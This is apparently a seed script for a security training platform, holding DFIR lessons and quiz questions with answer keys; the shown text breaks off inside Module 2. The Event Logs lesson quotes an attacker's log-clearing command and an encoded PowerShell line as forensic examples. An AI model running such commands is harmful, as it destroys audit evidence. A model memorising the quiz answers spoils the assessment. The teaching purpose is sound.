const path = require('path');
require('dotenv').config({ path: path.resolve(__dirname, '../../.env') });
const db = require('../db');

const runQuery = async (sql, params = []) => {
    return await db.query(sql, params);
};

// DFIR PATH DATA
const dfirPath = {
    title: "Digital Forensics & Incident Response (DFIR)",
    description: "Master the art of responding to cyber attacks. Learn digital forensics, memory analysis, and the incident response lifecycle.",
    difficulty_level: "intermediate",
    estimated_hours: 60,
    display_order: 5 
};

// MODULE 1 DATA
const module1 = {
    title: "Module 1: Introduction to DFIR",
    description: "Understand the core concepts of Digital Forensics and the Incident Response lifecycle.",
    display_order: 1,
    tasks: [
        {
            title: "The Incident Response Lifecycle (PICERL)",
            xp_reward: 100,
            reading_time: 7,
            content: `# The Incident Response Lifecycle (PICERL)

In the world of cybersecurity, it's not a matter of *if* an organization will be attacked, but *when*. When the inevitable happens, having a structured, repeatable process is the difference between a minor hiccup and a catastrophic data breach. 

The industry standard for this process is defined by NIST (National Institute of Standards and Technology) and SANS. We'll be focusing on the widely adopted 6-step SANS PICERL methodology.

## 1. Preparation
This is the most critical phase, and ironically, the one that happens *before* an incident occurs. You cannot respond to a fire if you don't have fire extinguishers, evacuation plans, and trained personnel.

**Key Activities:**
*   **Policy & Plan Creation:** Having an official Incident Response Plan (IRP).
*   **Asset Management:** Knowing what servers, endpoints, and data you are defending.
*   **Tooling:** Deploying EDR (Endpoint Detection & Response), SIEM, and ensuring logs are actually being collected and retained.
*   **Team Readiness:** Conducting tabletop exercises (IR drills) and ensuring the SOC team has the right access privileges.

## 2. Identification
Also known as Detection. This phase answers the question: "Are we currently compromised?"

**Key Activities:**
*   **Monitoring Alerts:** Reviewing SIEM alerts, IDS/IPS triggers, and EDR warnings.
*   **Triaging:** Filtering out false positives. If a user tries to log in over VPN 5 times and fails because they forgot their password, it's an event. If they succeed on the 100th try from an IP in a high-risk country, it's an incident.
*   **Declaring an Incident:** Officially escalating the event to a security incident so the IR plan can be enacted.

## 3. Containment
The bleeding must be stopped. The goal here is to limit the scope and magnitude of the incident. Containment is often split into two phases:

*   **Short-term Containment:** Immediate actions to stop the spread. E.g., isolating an infected laptop from the network, disabling a compromised VPN account, or pulling a server offline.
*   **Long-term Containment:** Temporary fixes to allow operations to continue while rebuilding the system. E.g., routing traffic through a newly built, clean proxy server.

## 4. Eradication
Once the threat is contained, it must be completely removed from the environment.

**Key Activities:**
*   **Removing Malicious Artifacts:** Deleting malware, reversing unauthorized registry changes, and removing persistence mechanisms (like cron jobs or scheduled tasks created by the attacker).
*   **Patching the Root Cause:** If the attacker got in via an unpatched Apache Struts vulnerability, that server must be patched right now, otherwise they will just come back.

## 5. Recovery
Bringing systems back into full production mode cautiously and verifying they are no longer compromised.

**Key Activities:**
*   **Restoring from Backups:** Rebuilding servers from clean, offline backups.
*   **Credential Resets:** Forcing enterprise-wide password resets if Active Directory was compromised.
*   **Monitoring Heightened:** Leaving increased monitoring on the affected systems for several weeks to ensure the attacker doesn't return.

## 6. Lessons Learned
Often skipped, but vital. This phase happens 1-2 weeks after the incident is closed.

**Key Activities:**
*   **Writing the Post-Mortem Report:** Documenting exactly what happened, chronological timeline, and the root cause.
*   **Process Improvement:** Asking "What did we do well?" and "What went wrong?". If containment took 4 hours because the SOC didn't have access to the firewall firewall console, the policy must be updated to give them access.

---
### Summary
Memorize the acronym **PICERL**: Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned. As a DFIR analyst, your job spans across all these phases, heavily focusing on Identification, Containment, and Eradication.`,
            questions: [
                ['Which phase of the incident response lifecycle involves creating an Incident Response Plan (IRP) and deploying security tools?', 'Preparation', 1, 'This happens before an incident ever occurs.', 0, ['Identification', 'Containment', 'Preparation', 'Eradication']],
                ['During which phase do you isolate an infected endpoint from the corporate network?', 'Containment', 2, 'You are trying to stop the spread of the infection.', 0, ['Identification', 'Recovery', 'Lessons Learned', 'Containment']],
                ['What does the acronym PICERL stand for? (Enter the 6 words separated by spaces)', 'Preparation Identification Containment Eradication Recovery Lessons Learned', 3, 'P I C E R LL', 0, ['Plan Identify Contain Eradicate Recover Learn', 'Preparation Identification Containment Eradication Recovery Lessons Learned', 'Protect Identify Contain Erase Restore Learn', 'Prepare Investigate Contain Eradicate Recover Learn']],
                ['In which phase do you patch the vulnerability that the attacker originally exploited?', 'Eradication', 4, 'Removing the root cause and the malware itself.', 0, ['Identification', 'Containment', 'Eradication', 'Recovery']],
                ['Reviewing SIEM alerts to determine if an event is a false positive or a true security breach happens in which phase?', 'Identification', 5, 'You are detecting and confirming the threat.', 0, ['Preparation', 'Identification', 'Containment', 'Lessons Learned']]
            ]
        },
        {
            title: "Introduction to Digital Forensics",
            xp_reward: 100,
            reading_time: 6,
            content: `# Introduction to Digital Forensics

If Incident Response is the act of putting out the fire, Digital Forensics is the investigation into how the fire started, who started it, and what was burned.

**Digital Forensics** is the application of scientific investigation applied to digital crimes and attacks. It involves the recovery, investigation, examination, and analysis of material found in digital devices.

## The Goal of Forensics
While Incident Responders just want to get the business back online as fast as possible, Forensic Investigators care about:
1.  **Truth:** Establishing exactly what occurred.
2.  **Attribution:** Finding out *who* did it (Internal threat? Nation state? Ransomware gang?).
3.  **Impact Analysis:** Determining exactly what data was accessed, stolen, or destroyed.
4.  **Legal Admissibility:** Ensuring the collected evidence holds up in a court of law.

## Major Branches of Digital Forensics

### 1. Computer/Disk Forensics
The classic discipline. This involves taking a physical or logical "image" (a bit-by-bit exact copy) of a hard drive or SSD.
*   **What we look for:** Deleted files, browser history, illegal media, timeline of accessed documents, registry modifications.
*   **Tools:** Autopsy, EnCase, FTK (Forensic Toolkit).

### 2. Memory (RAM) Forensics
Hard drives are slow and persistent. Modern, sophisticated malware often runs entirely in Random Access Memory (RAM) to avoid leaving traces on the hard drive. 
*   **What we look for:** Decrypted passwords, active network connections, injected malicious code, running processes.
*   **Tools:** Volatility, Rekall.

### 3. Network Forensics
Analyzing network traffic to reconstruct events. It's often said that "packets don't lie." Even if an attacker deletes the logs on a compromised server, the network traffic capturing their activity might still exist.
*   **What we look for:** Data exfiltration (large uploads), Command and Control (C2) beacons, unencrypted credentials.
*   **Tools:** Wireshark, Zeek, Suricata, Arkime.

### 4. Mobile Forensics
Smartphones are essentially highly personal computers. They are often critical in criminal investigations or corporate espionage cases.
*   **What we look for:** SMS/WhatsApp messages, GPS locations, application usage, call logs.
*   **Tools:** Cellebrite, Magnet AXIOM.

## The Friction: Speed vs. Preservation
There is an inherent conflict between IT/Business Operations and Digital Forensics.

*   **The Business:** "The server is hacked! Nuke it, format the drive, and restore from backups so we can make money again!"
*   **Forensics Analyst:** "Stop! Don't touch the server! Don't even power it off! If you reboot it, we lose the RAM! Let me take a 4-hour forensic image first over the network."

A mature Incident Response plan balances these two conflicting needs, outlining exactly when a full forensic investigation is required vs. when rapid recovery is prioritized.`,
            questions: [
                ['Which branch of digital forensics focuses on analyzing packets to track data exfiltration or Command and Control traffic?', 'Network Forensics', 1, 'Analyzing traffic traversing wires or airwaves.', 0, ['Memory Forensics', 'Disk Forensics', 'Mobile Forensics', 'Network Forensics']],
                ['Which branch of forensics analyzes running processes and decrypted passwords that would be lost if the machine was rebooted?', 'Memory Forensics', 2, 'Also known as RAM forensics.', 0, ['Network Forensics', 'Mobile Forensics', 'Memory Forensics', 'Disk Forensics']],
                ['Which forensics tool is considered the industry standard for Memory Forensics? (Mentioned in the reading)', 'Volatility', 3, 'Starts with V.', 0, ['Autopsy', 'Wireshark', 'EnCase', 'Volatility']],
                ['Taking a bit-by-bit exact copy of a hard drive is primarily associated with which branch of forensics?', 'Disk Forensics', 4, 'Also known as Computer Forensics.', 0, ['Network Forensics', 'Memory Forensics', 'Disk Forensics', 'Mobile Forensics']],
                ['What is the primary conflict between Business Operations and the Forensics team during an incident?', 'Speed vs Preservation', 5, 'The business wants to go fast, forensics wants to save evidence.', 0, ['Cost vs Quality', 'Speed vs Preservation', 'Internal vs External Threat', 'Open Source vs Commercial Tools']]
            ]
        },
        {
            title: "Chain of Custody & Evidence Handling",
            xp_reward: 100,
            reading_time: 5,
            content: `# Chain of Custody & Evidence Handling

If you have a smoking gun with the suspect's fingerprints on it, but you leave it sitting in a public hallway for 3 hours before giving it to the police, the evidence is useless in court. The defense attorney will simply say: *"Someone else must have touched it while it was in the hallway."*

The exact same concept applies to digital evidence.

## What is the Chain of Custody?
The **Chain of Custody** is a chronological, written record detailing the seizure, custody, control, transfer, analysis, and disposition of physical or digital evidence. 

It answers four critical questions at any given point in time:
1.  **Who** collected the evidence?
2.  **How** and **where** was it collected?
3.  **Who** had possession of it subsequently?
4.  **How** was it stored and protected in the meantime?

If the chain is broken (unaccounted time or an undocumented transfer), the evidence may be deemed inadmissible in legal proceedings.

## Hashing for Integrity
How do you prove that the 500GB hard drive image you took last year is exactly the same today, and that you haven't maliciously altered any files on it to frame someone?

**Hashing.**

A cryptographic hash (like MD5, SHA-1, or SHA-256) is a one-way mathematical algorithm that assigns a unique, fixed-size string of characters to a piece of data. It acts as a digital fingerprint.

### The Hashing Workflow:
1.  **Acquisition:** You arrive on scene and create a forensic image (\`image.dd\`) of the suspect's laptop.
2.  **Initial Hash:** Immediately, you run a SHA-256 hash on \`image.dd\`. The result is: \`5e884...a13\`.
3.  **Documentation:** You write that hash value down on your official Chain of Custody form.
4.  **Verification:** A year later in court, the defense demands proof that the image wasn't tampered with. You run the SHA-256 hash again on your copy. It outputs \`5e884...a13\`. The fingerprints match. 

If even a *single byte* in that 500GB image was changed, the resulting hash would be completely different.

## Write Blockers
When acquiring evidence from a physical hard drive, you must avoid altering it. Simply booting up a Windows hard drive makes hundreds of registry changes and alters file access times instantly.

To prevent this, forensics analysts use hardware or software **Write Blockers**. 
A hardware write blocker sits between the suspect's hard drive and your forensic workstation. It allows your computer to *read* the data from the drive to make a copy, but physically intercepts and blocks any *write* commands, preserving the original evidence perfectly pristine.`,
            questions: [
                ['What is the chronological, written record detailing the control and transfer of evidence called?', 'Chain of Custody', 1, 'It proves who had the evidence and when.', 0, ['Evidence Ledger', 'Chain of Custody', 'Incident Report', 'Writ of Possession']],
                ['What mathematical technique is used to create a digital fingerprint of a file to prove it has not been altered?', 'Hashing', 2, 'Examples include MD5 or SHA-256.', 0, ['Encryption', 'Encoding', 'Hashing', 'Compression']],
                ['If you change a single pixel in an image file, will the SHA-256 hash of that file remain the same or change?', 'Change', 3, 'Even the smallest alteration completely changes the output.', 0, ['Remain the same', 'Change', 'It depends on the image format', 'SHA-256 ignores pixels']],
                ['What device or software is used to ensure that a suspect\'s hard drive is not accidentally modified during the imaging process?', 'Write Blocker', 4, 'It blocks write commands but allows read commands.', 0, ['Firewall', 'Write Blocker', 'Read/Write Head', 'Disk Wiper']],
                ['If the Chain of Custody is broken, what is the most likely consequence in a legal proceeding?', 'Inadmissible', 5, 'The evidence cannot be used in court.', 0, ['The evidence becomes stronger', 'The forensic analyst is fined', 'Inadmissible', 'The judge must review it personally']]
            ]
        },
        {
            title: "Locard's Exchange Principle & Order of Volatility",
            xp_reward: 120,
            reading_time: 6,
            content: `# Core Forensics Principles

To be a successful digital investigator, you must understand two fundamental principles that guide how and when we collect evidence.

---

## 1. Locard's Exchange Principle
Dr. Edmond Locard was an early pioneer in forensic science. His principle states:

> *"Every contact leaves a trace."*

In the physical world, if a burglar enters a house, they might leave behind DNA, shoe prints, or fabric fibers. Conversely, they take things away with them—carpet fibers on their shoes, or a victim's blood on their clothes.

**In the Digital World:**
When an attacker breaches a server, they *always* leave a trace, and they *always* alter the environment.
*   **What they leave:** IP addresses in Apache logs, malicious binaries dropped in \`/tmp\`, newly created user accounts, or modified registry keys.
*   **What they take:** Exfiltrated database files, stolen SSH keys.

The trace is always there. The job of the forensic analyst is simply to know where to look for it before it gets overwritten.

---

## 2. The Order of Volatility (RFC 3227)
You arrive at a compromised server. It's powered on. Do you unplug it immediately? Do you copy the log files first? Do you dump the RAM?

Evidence must be collected based on its **Volatility** — how easily and quickly it can be lost or destroyed. You must gather the most volatile evidence first, moving down to the least volatile evidence.

### The Standard Order of Volatility:
*(From Most Volatile / First Collected → to Least Volatile / Last Collected)*

1.  **Registers and Cache:** Data inside the CPU. (Extremely hard to capture, often ignored in standard IR).
2.  **Routing Tables, ARP Cache, Process Table, Kernel Statistics:** This lives in RAM mapping active network/process states. It changes every millisecond.
3.  **System Memory (RAM):** The contents of the running memory. If power is lost, this is gone forever.
4.  **Temporary File Systems:** E.g., The \`/tmp\` directory in Linux, which is often cleared upon a reboot.
5.  **Disk (Hard Drive / SSD):** Persistent storage. Files, databases, and logs. This will survive a reboot.
6.  **Remote Logging and Monitoring Data that is relevant to the system in question:** E.g., Logs forwarded to a SIEM.
7.  **Physical Configuration and Network Topology:** The physical layout of cables and routers.
8.  **Archival Media:** Backups stored on tapes or in cold cloud storage.

### The "Pull the Plug" Debate
In the old days, responders were trained to "pull the power plug" on a compromised machine immediately to stop the attacker. 

**Today, pulling the plug is considered bad practice in most situations.** 
Why? Because modern malware, like advanced ransomware or fileless trojans, often live *only* in RAM. If you pull the plug, you destroy the RAM, and you destroy the only evidence of the malware and its decryption keys. 

Instead, modern responders isolate the machine from the network (so the attacker loses access) and immediately image the RAM, securing the most volatile evidence first.`,
            questions: [
                ['Which forensic principle states that "Every contact leaves a trace"?', 'Locards Exchange Principle', 1, 'Named after Dr. Edmond Locard.', 0, ['Order of Volatility', 'Locards Exchange Principle', 'Heisenberg Uncertainty Principle', 'Principle of Least Privilege']],
                ['According to the Order of Volatility, which should be collected FIRST: the contents of the Hard Drive or the System Memory (RAM)?', 'System Memory', 2, 'It is more volatile than persistent storage.', 0, ['Hard Drive', 'System Memory', 'They should be collected simultaneously', 'It does not matter']],
                ['If an attacker runs a fileless malware that only exists in active memory, what happens to that malware if you reboot the server?', 'It is destroyed', 3, 'RAM requires power to maintain its data.', 0, ['It migrates to the hard drive', 'It is destroyed', 'It connects to the C2 server', 'It hides in the boot sector']],
                ['Which is the LEAST volatile source of evidence in the standard order of volatility: RAM, Hard Drive, or Archival Media (Backups)?', 'Archival Media', 4, 'Backups last for years and don\'t change.', 0, ['RAM', 'Hard Drive', 'Archival Media', 'Network Logs']],
                ['In modern incident response, why is it generally a bad idea to "pull the power plug" on a compromised server immediately? (One word related to what you lose)', 'RAM', 5, 'You lose volatile memory.', 0, ['CPU', 'RAM', 'Hard Drive', 'Network Logs']]
            ]
        }
    ]
};

const module3 = {
    title: "Module 3: Windows Forensics",
    description: "Dive deep into the Windows Operating System to uncover attacker activity using the Registry, Event Logs, and system artifacts.",
    display_order: 3,
    tasks: [
        {
            title: "The Windows Registry",
            xp_reward: 110,
            reading_time: 7,
            content: `# The Windows Registry

The Windows Registry is the central hierarchical database used to store information necessary to configure the system for one or more users, applications, and hardware devices. For forensics analysts, it is an absolute goldmine.

Whenever a user executes a program, plugs in a USB drive, or changes a setting, a trace is left in the Registry.

## Structure of the Registry
The registry is divided into five main logical root keys (Hives):
1.  **HKEY_LOCAL_MACHINE (HKLM):** Settings applied to the entire machine, regardless of who is logged in.
2.  **HKEY_CURRENT_USER (HKCU):** Settings unique to the currently logged-in user.
3.  **HKEY_USERS (HKU):** Contains all the loaded user profiles. (HKCU is actually just a pointer into a specific subkey inside HKU).
4.  **HKEY_CLASSES_ROOT (HKCR):** File extension associations (e.g., telling Windows that \`.txt\` opens with Notepad).
5.  **HKEY_CURRENT_CONFIG (HKCC):** Information about the hardware profile currently being used.

## Where are the files?
When you image a hard drive, you don't get a file called \`registry.exe\`. The registry is actually made up of several physical files called **Hives** located on the disk:
*   \`C:\\Windows\\System32\\config\\SYSTEM\` (Maps to HKLM\\SYSTEM)
*   \`C:\\Windows\\System32\\config\\SOFTWARE\` (Maps to HKLM\\SOFTWARE)
*   \`C:\\Windows\\System32\\config\\SECURITY\` (Maps to HKLM\\SECURITY)
*   \`C:\\Windows\\System32\\config\\SAM\` (Security Account Manager - Holds local password hashes)
*   \`C:\\Users\\<username>\\NTUSER.DAT\` (Maps to the specific user's HKCU)

## Key Forensic Artifacts in the Registry

### 1. Persistence (Auto-Start Extensibility Points)
Attackers want their malware to survive a reboot. The easiest way to do this is to add a registry key telling Windows to run the malware every time it starts.
*   **Run Keys:** \`HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\` and \`HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\`
*   *Forensic Value:* Always check these keys. If you see \`C:\\Users\\Public\\svchost.exe\` launching from a Run key, the machine is compromised.

### 2. USB Device History (USBStor)
Did the suspected employee copy the secret blueprints to a thumb drive? 
*   **Location:** \`HKLM\\SYSTEM\\CurrentControlSet\\Enum\\USBSTOR\`
*   *Forensic Value:* Records the Vendor, Product ID, and unique Serial Number of *every* USB mass storage device that has ever been plugged into the machine.

### 3. UserAssist
*   **Location:** \`HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\`
*   *Forensic Value:* Tracks which GUI applications the user executed, how many times they ran them, and the last time they were executed. The names of the programs are lightly obfuscated using ROT-13 encryption, which your forensic tools will decrypt automatically.`,
            questions: [
                ['Which physical registry hive file contains the password hashes for local user accounts?', 'SAM', 1, 'Security Account Manager.', 0, ['NTUSER.DAT', 'SYSTEM', 'SOFTWARE', 'SAM']],
                ['Where is the registry hive file that corresponds to a specific user\'s HKEY_CURRENT_USER (HKCU) located?', 'In their user profile directory', 2, 'It is called NTUSER.DAT.', 0, ['C:\\Windows\\System32\\config', 'In their user profile directory', 'C:\\Windows\\Registry', 'In the Pagefile']],
                ['Which registry key tracks the executable programs a user launches from the GUI, keeping count of how many times they were run?', 'UserAssist', 3, 'It assists the user experience.', 0, ['Run', 'USBStor', 'UserAssist', 'Prefetch']],
                ['What simple encryption method does Windows use to lightly obfuscate the names of programs stored in the UserAssist key?', 'ROT-13', 4, 'A simple letter substitution cipher.', 0, ['AES-256', 'Base64', 'ROT-13', 'MD5']],
                ['If an attacker wants their malware to survive a system reboot, which category of registry keys are they most likely to modify?', 'Run Keys', 5, 'Keys that auto-start programs.', 0, ['USBStor', 'Run Keys', 'UserAssist', 'File Associations']]
            ]
        },
        {
            title: "Windows Event Logs",
            xp_reward: 120,
            reading_time: 8,
            content: `# Windows Event Logs

Windows Event Logs (\`.evtx\` files) are the primary source of chronological historical data on a Windows system. They track logins, service starts, application crashes, and security policy changes.

They are stored in \`C:\\Windows\\System32\\winevt\\Logs\\\`.

## The Big Three
While modern Windows has hundreds of event log files, the core three are:
1.  **System:** Events logged by Windows system components (e.g., a driver failing to load, or the system booting up).
2.  **Application:** Events logged by installed software (e.g., Microsoft Word crashing, or an antivirus detecting a file).
3.  **Security:** Events related to authentication, privilege use, and object access. *By default, only Administrators can view this log.*

## Crucial Security Event IDs (EIDs)
As a DFIR analyst, you must memorize these specific Event IDs. They are the bread and butter of finding attackers.

### Logon & Authentication
*   **EID 4624:** Successful Logon. 
    *   *Forensic Value:* Shows *who* logged in, *when*, and from *where* (Source IP). The "Logon Type" field is critical. Type 2 means Interactive (Physical keyboard). Type 3 means Network (e.g., accessing a shared folder). Type 10 means Remote Interactive (RDP).
*   **EID 4625:** Failed Logon.
    *   *Forensic Value:* A high volume of 4625s in a short time frame indicates a Brute Force or Password Spraying attack.
*   **EID 4672:** Special Privileges Assigned to New Logon.
    *   *Forensic Value:* This means the user logged in as an Administrator (or used "Run as Administrator").

### Account Management
*   **EID 4720:** A user account was created.
    *   *Forensic Value:* Attackers often create backup "backdoor" accounts (like \`SysAdmin1\`) just in case their malware is discovered and removed. 
*   **EID 4722 / 4724:** Account enabled / Password reset.
*   **EID 4732:** A member was added to a security-enabled local group.
    *   *Forensic Value:* Look closely if the target group is "Administrators". This is a sign of local privilege escalation.

### Process Execution
By default, Windows does not log every program that runs. However, if Advanced Audit Policy is enabled, you get:
*   **EID 4688:** A new process has been created.
    *   *Forensic Value:* Tells you exactly what time a program ran. If command-line auditing is turned on, it will even log the exact arguments (e.g., \`powershell.exe -NoProfile -EncodedCommand JABX...\`), which is incredibly useful for catching malicious scripts.

## Clearing Logs
*   **EID 1102:** The audit log was cleared.
    *   *Forensic Value:* The massive red flag. Attackers often run the command \`wevtutil cl Security\` to erase their tracks. If you see EID 1102, assume an attacker was present, had Administrator rights, and intentionally deleted evidence.`,
            questions: [
                ['Which core Windows Event Log tracks successful and failed authentication attempts?', 'Security', 1, 'Only administrators can view it by default.', 0, ['System', 'Application', 'Security', 'Setup']],
                ['Which Event ID represents a Successful Logon?', '4624', 2, 'Ends in 4.', 0, ['4625', '4624', '4720', '1102']],
                ['If an attacker uses RDP to remotely access a server, what "Logon Type" will be recorded in the Event ID 4624 log?', 'Type 10', 3, 'Remote Interactive logon.', 0, ['Type 2', 'Type 3', 'Type 7', 'Type 10']],
                ['Which Event ID is generated when a new user account is created on the system?', '4720', 4, 'Account management event.', 0, ['4688', '4720', '4672', '1102']],
                ['You discover Event ID 1102 in the logs. What action does this explicitly indicate?', 'The logs were cleared', 5, 'A major indicator of anti-forensics.', 0, ['The system rebooted', 'Malware was installed', 'The logs were cleared', 'A brute force attack succeeded']]
            ]
        },
        {
            title: "Evidence of Execution (Prefetch & Shimcache)",
            xp_reward: 110,
            reading_time: 6,
            content: `# Evidence of Execution

One of the most common questions an analyst must answer is: *"Did the malware actually run?"* 

Just because a malicious file exists on the hard drive does not mean the user actually double-clicked it. To prove execution, we look at several specific Windows artifacts.

## 1. Prefetch (*.pf files)
Windows uses Prefetch to speed up the boot process and application launch times. When an application runs for the first time, Windows analyzes what files and DLLs it needs and creates a \`.pf\` file in \`C:\\Windows\\Prefetch\\\`. 

The next time the application runs, Windows reads the \`.pf\` file and pre-loads the necessary components into memory, making the application launch faster.

*   **Forensic Value:** 
    *   **Proof of execution:** If \`nc.exe-0D12ABCD.pf\` exists, Netcat was absolutely executed on this machine.
    *   **Execution count:** The file stores exactly how many times the application has been run.
    *   **Timestamps:** It stores the timestamp of the last execution, as well as up to 7 previous execution timestamps (in Windows 8+).
    *   **Target path:** It shows exactly where the executable was located when it ran (e.g., was it run from \`C:\\Temp\` or from a USB drive?).

## 2. Shimcache (Application Compatibility Cache)
Whenever an application runs, Windows checks if it needs any special compatibility settings (shims) to run properly (e.g., "Does this program think it's running on Windows XP?").

Windows caches these checks in the Registry at \`HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\AppCompatCache\`.

*   **Forensic Value:** 
    *   The Shimcache tracks the file path, the file size, and the Last Modified time of the executable.
    *   It is fantastic for tracking executables that were run from a USB drive and subsequently deleted. Even if the USB is removed, the trace remains in the Shimcache.
    *   *Note:* The Shimcache does not definitively prove execution (a file can enter the cache just by being browsed in Explorer), but it proves the file existed on the system at a specific path.

## 3. Amcache
A newer artifact (Windows 8+) located at \`C:\\Windows\\AppCompat\\Programs\\Amcache.hve\`. It is technically its own registry hive file.

*   **Forensic Value:**
    *   Similar to Shimcache but records much more detail, notably the **SHA-1 hash** of the executable. 
    *   This is incredibly powerful. Even if an attacker renames their malware from \`mimikatz.exe\` to \`svchost.exe\`, the Amcache will record its true SHA-1 hash, allowing analysts to instantly identify the malicious binary.`,
            questions: [
                ['Which Windows feature speeds up application launch times and simultaneously provides forensic analysts with execution counts and timestamps?', 'Prefetch', 1, 'Files ending in .pf.', 0, ['Shimcache', 'Amcache', 'Prefetch', 'UserAssist']],
                ['Where are Prefetch files stored on a Windows file system?', 'C:\\Windows\\Prefetch', 2, 'Stored in the Windows directory.', 0, ['C:\\Windows\\System32', 'C:\\Users\\Public', 'C:\\Windows\\Prefetch', 'They are stored in the Registry']],
                ['Which execution artifact is stored as a specific registry key under the SYSTEM hive and is excellent for tracking applications run from removed USB drives?', 'Shimcache', 3, 'Also known as AppCompatCache.', 0, ['Prefetch', 'Shimcache', 'Amcache', 'Run Keys']],
                ['Which newer execution artifact (Windows 8+) records the actual SHA-1 hash of the executed binary?', 'Amcache', 4, 'Stored as a .hve file.', 0, ['Prefetch', 'Shimcache', 'Amcache', 'Event Logs']],
                ['True or False: The presence of a file in the Shimcache definitively guarantees that the file was successfully executed by the user.', 'False', 5, 'It can be cached just by exploring the folder.', 0, ['True', 'False', 'Only if the file was deleted', 'Only on Windows 10']]
            ]
        },
        {
            title: "File System Artifacts (MFT, LNK, and Recycle Bin)",
            xp_reward: 100,
            reading_time: 5,
            content: `# File System Artifacts

Beyond the registry and logs, the NTFS file system itself leaves dozens of clues about user behavior and file manipulation.

## Master File Table (MFT)
NTFS uses a database called the Master File Table (MFT) to track every single file and folder on the volume. The file itself is called \`$MFT\`. 

*   **MACB Timestamps:** The MFT records four critical timestamps for every file:
    *   **M**odified: When the file contents were last changed.
    *   **A**ccessed: When the file was last opened/read.
    *   **C**reated: When the file was first created on this volume.
    *   **MFT Modified (B for birthed/metadata):** When the file's metadata (permissions, name) was last changed.
*   **Time Stomping:** Advanced attackers use anti-forensic tools to alter MAC timestamps to make malicious files blend in (e.g., changing malware creation date to 2018). However, it is very difficult to successfully forge the 'MFT Modified' timestamp, meaning forensic tools can often detect time stomping.

## Windows Shortcut Files (.lnk)
When a user opens a file, Windows often automatically creates a shortcut (\`.lnk\`) file pointing to it (e.g., in the "Recent Items" folder). 

*   **Forensic Value:** LNK files are gold. They contain metadata about the target file *and* the system it was on. Even if the target file was on a USB drive that is now gone, the LNK file left behind tells us:
    1.  The original path of the file.
    2.  The MAC timestamps of the target file.
    3.  The Volume Serial Number of the USB drive it was on.
    4.  The MAC address of the machine where the file was originally created.

## The Recycle Bin
When a user "deletes" a file, Windows doesn't actually erase the 1s and 0s. Firstly, it just moves the file to a hidden system folder called \`$Recycle.Bin\`. 

Inside the Recycle Bin, Windows splits the deleted file into two pieces:
1.  **$R file:** The actual contents of the deleted file, renamed with a random string ($R123456.docx).
2.  **$I file:** A metadata file containing the *original name* of the file, its *original path* before it was deleted, and the exact *timestamp* it was deleted.

If you find a suspicious file in the Recycle Bin, parsing its corresponding \`$I\` file tells you exactly where it came from and when the suspect tried to get rid of it.`,
            questions: [
                ['What NTFS database file tracks the location and metadata of every single file on the volume?', 'Master File Table', 1, 'Known as $MFT.', 0, ['Registry', 'Master Boot Record', 'Master File Table', 'Pagefile']],
                ['Which of the MACB timestamps represents the moment a file\'s metadata (like permissions or file name) was altered?', 'MFT Modified', 2, 'The B or fourth timestamp.', 0, ['Modified', 'Accessed', 'Created', 'MFT Modified']],
                ['What anti-forensics technique involves an attacker deliberately altering the creation or modification timestamps of a file to hide it?', 'Time Stomping', 3, 'Stomping on the MAC times.', 0, ['File Carving', 'Steganography', 'Time Stomping', 'Hashing']],
                ['Even if a USB drive is removed, which automatically created Windows artifact can reveal the Volume Serial Number of that USB and the original path of the files opened from it?', 'LNK files', 4, 'Shortcut files.', 0, ['Amcache', 'LNK files', 'Prefetch', 'Recycle Bin']],
                ['When a file is sent to the Windows Recycle Bin, it is split into a $R file (the contents) and an $I file. What information does the $I file contain?', 'Original path and deletion time', 5, 'It holds the metadata of the deletion.', 0, ['The file hash', 'Original path and deletion time', 'The user password', 'Decryption keys']]
            ]
        }
    ]
};

const module2 = {
    title: "Module 2: Evidence Acquisition & Handling",
    description: "Learn how to properly secure, collect, and preserve digital evidence without destroying it.",
    display_order: 2,
    tasks: [
        {
            title: "First Responder Operations",
            xp_reward: 100,
            reading_time: 6,
            content: `# First Responder Operations

When you are the first on the scene of a cyber incident, your actions in the first 15 minutes dictate the success or failure of the entire investigation. 

You must act with the assumption that the incident will eventually end up in a legal battle, meaning every step must be defensible in court.

## 1. Secure the Scene
Physical security comes before digital security. 
*   **Isolate the hardware:** Ensure no unauthorized personnel can walk up to the server rack or the suspect's laptop.
*   **Document physical connections:** Take photographs of the computer, showing exactly what cables are plugged into what ports before you touch anything. If someone later claims a rogue USB was plugged in, you have photographic proof it wasn't.

## 2. Triage the System State
Before pulling cables, you must determine what state the machine is in.
*   **Is it powered off?** Do NOT turn it on. Booting a computer modifies thousands of files, altering timestamps and potentially triggering malware designed to destroy data upon boot.
*   **Is it powered on?** Do NOT turn it off normally. Do NOT "pull the plug" right away. Leave it as is while you decide on your acquisition strategy (RAM first, then disk).
*   **Is there a screen saver or lock screen?** Photograph what is visible. Do not attempt to guess the password, as modern systems (like BitLocker or Apple's secure enclave) will permanently wipe the encryption keys after too many failed attempts.

## 3. Network Isolation
You need to stop the bleeding while preserving volatile data.
*   **The old way:** "Pull the network cable." 
*   **The modern way:** Use the switch, router, or EDR tool to logically isolate the machine. This allows you, the forensic analyst, to still remotely query the machine and pull RAM over the network, while preventing the machine from reaching the internet or the rest of the corporate network. 
*   **Warning:** If dealing with a mobile device, immediately put it in airplane mode or place it in a Faraday bag to prevent a remote wipe command from being received.

## 4. The "Live Response" Toolkit
If you must interact with the live machine (e.g., to capture RAM), you cannot use the tools already installed on the machine (like the built-in Task Manager or \`ps\` command). Why? Because a rootkit might have replaced the built-in \`ps\` command to hide its own processes. 

Instead, first responders bring a "Live Response Toolkit" on a clean, trusted USB drive containing statically compiled, trusted forensic binaries.`,
            questions: [
                ['When you first arrive on the scene of a powered-off suspect laptop, what should your immediate first step be?', 'Do not turn it on', 1, 'Booting changes file timestamps.', 0, ['Turn it on to see if it works', 'Do not turn it on', 'Attempt to guess the password', 'Pull the battery out']],
                ['Why is it dangerous to attempt guessing the password on a locked smartphone or BitLocker-encrypted drive?', 'It may wipe the encryption keys', 2, 'Security features protect the data.', 0, ['It uses up the battery too fast', 'It may wipe the encryption keys', 'It alerts the attacker', 'It creates unnecessary log files']],
                ['If you find a mobile phone that is suspected to be involved in a crime, what is the best way to prevent the suspect from remotely wiping it?', 'Place it in a Faraday bag', 3, 'Block all radio signals.', 0, ['Turn it off immediately', 'Place it in a Faraday bag', 'Plug it into a charger', 'Uninstall all apps']],
